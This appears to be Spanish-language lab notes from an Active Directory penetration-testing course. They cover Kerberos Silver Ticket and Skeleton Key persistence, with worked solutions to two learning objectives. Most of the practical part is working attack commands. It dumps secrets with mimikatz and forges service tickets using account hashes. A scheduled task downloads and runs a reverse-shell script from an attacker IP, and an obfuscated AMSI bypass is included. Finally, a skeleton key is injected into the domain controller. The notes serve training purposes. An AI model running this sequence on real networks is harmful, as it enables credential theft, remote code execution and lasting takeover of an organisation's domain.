# 9. Domain Persistence Part 2
## Persistence - Silver Ticket

Obs: Recordar que casi cada paso en el flujo de kerberos es abusable.
¿Cómo funciona un boleto plateado?
Podemos ver que en el paso 5 cuando recibimos un TGS encriptado usando un destino de servicio NTLM Hash, se enviaba al servidor de aplicaciones.
Ahora, en caso de un boleto dorado, la clave era el hash de la cuenta krbtgt. En este caso ¿cuál es el ancla de confianza o la clave hash? Es el hash NTLM de la contraseña de la cuenta de servicio o la coincidencia completa de la cuenta de servicio.
¿Qué se puede hacer si se tiene acceso al hash ntlm de la contraseña de la cuenta de servicio?
Se puede falsificar un TGS y presentarlo al servidor de aplicaciones para acceder a ese servicio en particular a ese servidor si la verificación del paquete estaba habilitada, esto es el SILVER ATACK.
Si de alguna manera se puede extraer el hash NTLM de la cuenta de servicio, se puede acceder más tarde al servicio como cualquier usuario e incluso los usuarios con privilegios altos.
¿Que es un boleto plateado?
- A valid TGS(Golden ticket is TGT)
- Encrypted and Signed by the NTLM hash of the service account (Golden ticket is signed by hash of krbtgt)
- Services rarely check PAC(Privileged Attribute Certificate)
- Services will allow access only to the services themselves.
- Reasonable persistence period(default 30 days for computer accounts).
## Execute mimikatz on DC as DA to get krbtgt hash
Este comando proporciona a nosotros todos los secretos en el dominio si lo ejecutamos con los privilegios de administrador del dominio.
```
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -Computername dcorp-dc
```
Asi que una vez que tengamos acceso a la contraseña de la cuenta de la máquina, que en este caso es el dc, se puede crear un ticket plateado.
## Using hash of the Domain Controller computer account, below command provides access to shares on the DC
```
Invoke-Mimikatz -Command '"kerberos::golden /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-268341927-4156871508-1792461683 /target:dcorp-dc.dollarcorp.moneycorp.local /service:CIFS /rc4:6f5b5acaf7433b3282ac22e21e62ff22 /user:Administrator /ptt"'
```

/target : es el servidor destino FQDN para el que nos gustaría o spn del servicio para el que deseariamos crear el boleto plateado rc4.
Obs: El ticket plateado brinda acceso a los servicios en una sola máquina, es decir, al servicio del servidor de destino.

Para realizar un Silver Ticket Attack, con privilegios de administrador del dominio se ejecuta lo siguiente:
```
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -ComputerName dcorp-dc
```

Se obtiene el hash NTLM del DC y se crea el ticket plateado para el servicio cifs(sistema de archivos)
```
Invoke-Mimikatz -Command '"kerberos::golden /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-268341927-4156871508-1792461683 /target:dcorp-dc.dollarcorp.moneycorp.local /service:CIFS /rc4:6f5b5acaf7433b3282ac22e21e62ff22 /user:Administrator /ptt"'
```

```
klist
```

Se puede ver que, cómo administrador de dominio, podemos acceder al sistema de archivos en dcorp-dc.
```
ls \\dcorp-dc.dollarcorp.moneycorp.local\c$
```

Podemos listar el contenido del DC sin tener privilegios del Administrador de Dominio. Esto lo hace realmente útil en los casos en los que nos gustaría acceder a servicios más interesante.
## Similar command can be used for any other service on a machine. Which services? HOST,RPCSS, WSMAN and many more.
## There are various ways of achieving command execution using Silver tickets.
## Create a silver ticket for the HOST SPN which will allow us to schedule a task on the target
```
Invoke-Mimikatz -Command '"kerberos::golden /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-268341927-4156871508-1792461683 /target:dcorp-dc.dollarcorp.moneycorp.local /service:HOST /rc4:6f5b5acaf7433b3282ac /user:Administrator /ptt"'
```
## Skeleton Key
Es una técnica de persistencia en la que es posible parchear un controlador de dominio para que permita el acceso como cualquier usuario con una sola contraseña o una sola clave ¿qué significa eso con privilegios de administrador de dominio podemos parchear el proceso lcs en el controlador de dominio y eso permite a nosotros para subvertir el mecanismo de autenticacion que es una vez que tenemos nuestra clave maestra inyectada dentro de los demás son el nombre de usuario y las contraseñas regulares y el nombre de usuario normal y nuestra propia clave maestra la contraseña que inyectamos también funciona bien, este ataque fue descubierto por Dell Secure Works. Asi que lo que se intenta hacer es inyectar una clave maestra en el lcs, asi que podemos acceder a cualquier recurso como cualquier usuario con credenciales explícitas, usaremos un nombre de usuario válido y nuestra clave maestra como contraseña, ¿cuál sería la duración de la persistencia para este caso?
Hasta que se reinicie los controladores de dominio.
Tener en cuenta que solo las máquinas y los usuarios que se autentican en el controlador de dominio que ha pasado se verán afectados.
## Learning Objective 9
- Try to get command execution on the domain controller by creating silver ticket for:
HOST service
WMI
Solución
A partir de la información recopilada en los pasos anteriores tenemos el hash de la cuenta de la máquina del controlador de dominio (dcorp-dc$).
Utilizando el siguiente comando, podemos crear un Silver Ticket que nos proporcione acceso al servicio HOST del DC. Tenga en cuenta que el hash de dcorp-dc$ (RC4 en el siguiente comando) puede ser diferente en el laboratorio:
```
PS C:\AD\Tools> Invoke-Mimikatz -Command '"kerberos::golden /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /target:dcorp-dc.dollarcorp.moneycorp.local /service:HOST /rc4:731a06658bc10b59d71f5176e93e5710 /user:Administrator /ptt"'
```
```
PS C:\AD\Tools> schtasks /create /S dcorp-dc.dollarcorp.moneycorp.local /SC Weekly /RU "NT Authority\SYSTEM" /TN "UserX" /TR "powershell.exe -c 'iex(New-Object Net.WebClient).DownloadString(''http://172.16.100.X/Invoke-PowerShellTcp.ps1''')'"
```
La tarea programada "UsuarioX" ha sido creada con éxito.
```
PS C:\AD\Tools> schtasks /Run /S dcorp-dc.dollarcorp.moneycorp.local /TN "UserX"
```
Se ha intentado ejecutar la tarea programada "UserX"
```
PS C:\AD\Tools> powercat -l -p 443 -v -t 1024
PS C:\Windows\system32> hostname
PS C:\Windows\system32> whoami
```
Para acceder a WMI, necesitamos crear dos tickets - uno para el servicio HOST y otro para el RPCSS
```
PS C:\AD\Tools> Invoke-Mimikatz -Command '"kerberos::golden /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /target:dcorp-dc.dollarcorp.moneycorp.local /service:HOST /rc4:731a06658bc10b59d71f5176e93e5710 /user:Administrator /ptt"'
```
```
mimikatz(powershell) # kerberos::golden /domain:dollarcorp.moneycorp.local
/sid:S-1-5-21-1874506631-3219952063-538504511 /target:dcorp-
dc.dollarcorp.moneycorp.local /service:HOST /rc4:b77a0d8f1b893aad9cfa4d43357
02344 /user:Administrator /ptt
```
```
PS C:\AD\Tools> Invoke-Mimikatz -Command '"kerberos::golden /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /target:dcorp-dc.dollarcorp.moneycorp.local /service:RPCSS /rc4:731a06658bc10b59d71f5176e93e5710 /user:Administrator /ptt"'
```
```
PS C:\ad\Tools> Get-WmiObject -Class win32_operatingsystem -ComputerName dcorp-dc.dollarcorp.moneycorp.local
```
## Learning Objective 10
Task
- Use Domain Admin privileges obtained earlier to execute the Skeleton Key attack.
Podemos usar simplemente el siguiente comando mimikatz para ejecutar el ataque. Tenga en cuenta que el comando debe ser ejecutado con privilegios de administrador de dominio. En primer lugar tenemos que evitar el AMSI y cargar mimikatz en memoria en el DC:
```
PS C:\AD\Tools\Tools> $sess = New-PSSession dcorp-dc.dollarcorp.moneycorp.local
PS C:\AD\Tools\Tools> $sess
```
Deshabilitar AMSI en DC:
```
PS C:\AD\Tools\Tools> Enter-PSSession -Session $sess
[dcorp-dc.dollarcorp.moneycorp.local]: PS C:\Users\svcadmin\Documents> sET-
ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE'
) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL
)."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -
f'Util','A','Amsi','.Management.','utomation.','s','System' )
)."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),(
"{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"(
${n`ULl},${t`RuE} )
```
Cargue el script Invoke-Mimikatz en la sesión, ejecute el siguiente comando en la máquina local:
```
PS C:\AD\Tools\Tools> Invoke-Command -FilePath C:\AD\Tools\Invoke-Mimikatz.ps1 -Session $sess
```
Ejecutar el comando para Skeleton Key:
```
PS C:\AD\Tools\Tools> Enter-PSSession -Session $sess
[dcorp-dc.dollarcorp.moneycorp.local]: PS C:\Users\svcadmin\Documents>Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"'
privilege::debug
misc::skeleton
```
Ahora podemos entrar en cualquier máquina como cualquier usuario, a menos que el DC se reinicie (utilizar mimikatz como contraseña):
```
PS C:\AD\Tools> Enter-PSSession -ComputerName dcorp-dc.dollarcorp.moneycorp.local -Credential dcorp\administrator
[dcorp-dc]: PS C:\Users\Administrator\Documents> whoami
dcorp-dc\administrator
[dcorp-dc]: PS C:\Users\Administrator\Documents> exit
```